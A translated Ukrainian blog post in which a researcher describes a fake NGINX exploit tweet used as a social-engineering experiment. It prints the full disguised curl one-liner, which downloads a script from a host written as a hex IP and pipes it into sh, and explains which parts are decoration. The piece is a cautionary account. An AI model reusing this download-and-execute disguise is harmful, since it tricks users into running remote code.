Прим. перев.:
TL;DR: ні в якому разі не використовуйте конвеєризацію файлів у sh або bash. Це чудовий спосіб втратити контроль над комп'ютером.
Хочу поділитися з вами невеликою історією про жартівливий PoC-експлойт, який був створений 31 травня. Він з'явився оперативно у відповідь на новину від
Закінчивши роботу над новою технікою обфускації в curl, я процитував оригінальний твіт і «злив робочий PoC», що складається з одного рядка коду, який нібито використовує виявлену вразливість. Звичайно, це була повна нісенітниця. Я вважав, що мене відразу виведуть на чисту воду, і що в кращому разі я отримаю пару ретвітів (та й добре).
Однак я не міг уявити, що сталося далі. Популярність мого твіту злетіла до неба. Дивно, але зараз (15:00 МСК 1 червня) досі мало хто усвідомив, що це фальшивка. Багато хто ретвітить його взагалі без перевірки (не кажучи вже про те, щоб помилуватися чарівною ASCII-графікою, яку він виводить).
Тільки подивіться, яка краса!
Хоча всі ці цикли та кольори чудові, зрозуміло: щоб їх побачити, люди виконували код на своїй машині. На щастя, браузери працюють аналогічно, і в поєднанні з фактом, що проблеми із законом мені зовсім не потрібні, код, захований у моєму сайті, лише робив виклики echo, не намагаючись встановлювати або виконувати будь-який додатковий код.
Невеликий відступ:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Соціо-електронна інженерія (SEE) – більше, ніж просто фішинг
Безпека та звичність були основною частиною цього експерименту. Думаю, що саме вони привели до його успіху. Командний рядок явно мав на увазі безпеку, посилаючись на "127.0.0.1" (усім відомий localhost). Вважається, що localhost є безпечним, а дані на ньому ніколи не залишають ваш комп'ютер.
Звичність була другим ключовим SEE-компонентом експерименту. Оскільки цільова аудиторія переважно складалася з людей, знайомих із основами комп'ютерної безпеки, важливо було створити такий код, щоб його частини здавалися знайомими та звичними (а тому безпечними). Запозичення елементів старих експлойт-концепцій та їх комбінування незвичайним способом виявилося досить успішним.
Нижче наведено докладний аналіз однострочника. Все у цьому списку носить косметичний характера для його реальної роботи практично нічого не потрібно.
Які компоненти дійсно необхідні? Це -gsS
, -O 0x0238f06a
, |sh
та сам веб-сервер. Веб-сервер не містив жодних зловмисних інструкцій, а просто передавав ASCII-графіку за допомогою команд echo
у скрипті, що міститься в index.html
. Коли користувач вводив рядок з |sh
у середині, index.html
завантажувався та виконувався. На щастя, зберігачі веб-сервера не мали злих намірів.
-
../../../%00
- Зображує вихід за межі директорії; -
ngx_stream_module.so
шлях до випадкового модуля NGINX; -
/bin/sh%00<'protocol:TCP'
- ми нібито запускаємо/bin/sh
на цільовій машині та перенаправляємо виведення в TCP-канал; -
-O 0x0238f06a#PLToffset
- Секретний інгредієнт, доповнений#PLToffset
щоб виглядати як зміщення пам'яті, якимось чином міститься в PLT; -
|sh;
- Ще один важливий фрагмент. Нам потрібно було перенаправити висновок у sh/bash, щоб виконати код, що надходить з атакуючого веб-сервера, розташованого за адресою0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- Пустушка, в якій netcat посилається на/dev/tcp/localhost
щоб все знову виглядало безпечно. Насправді ж, нічого не робить і включений у рядок для краси.
На цьому закінчуються розшифровка однорядкового скрипту та обговорення аспектів «соціо-електронної інженерії» (вигадливого фішингу).
Конфігурація веб-сервера та заходи протидії
Оскільки переважна більшість моїх передплатників — інфобезпечники/хакери, я вирішив зробити веб-сервер трохи стійкішим до проявів «інтересу» з їхнього боку просто для того, щоб хлопцям було чим зайнятися (та й налаштовувати його було прикольно). Я не збираюся тут перераховувати всі пастки, оскільки експеримент все ще триває, але кілька речей, які сервер робить:
- Активно відстежує спроби розповсюдження в певних соціальних мережах і підставляє різні мініатюри попереднього перегляду, щоб спонукати користувача перейти за посиланням.
- Перенаправляє Chrome/Mozilla/Safari/ тощо на промо-ролик Thugcrowd замість того, щоб показати скрипт shell.
- Слідкує за ЯВНИМИ ознаками вторгнення/грубого злому, після чого починає перенаправляти запити на сервери АНБ (ха!).
- Встановлює троян, а також BIOS rootkit на всі комп'ютери, користувачі яких відвідують хост із звичайного браузера (жарт!).
Невелика частина антимір
В даному випадку моєю єдиною метою було освоєння деяких можливостей Apache, зокрема кльових правил перенаправлення запитів, і я подумав: а чому б і ні?
Експлойт NGINX (справжній!)
Підписуйтесь на
Джерело: habr.com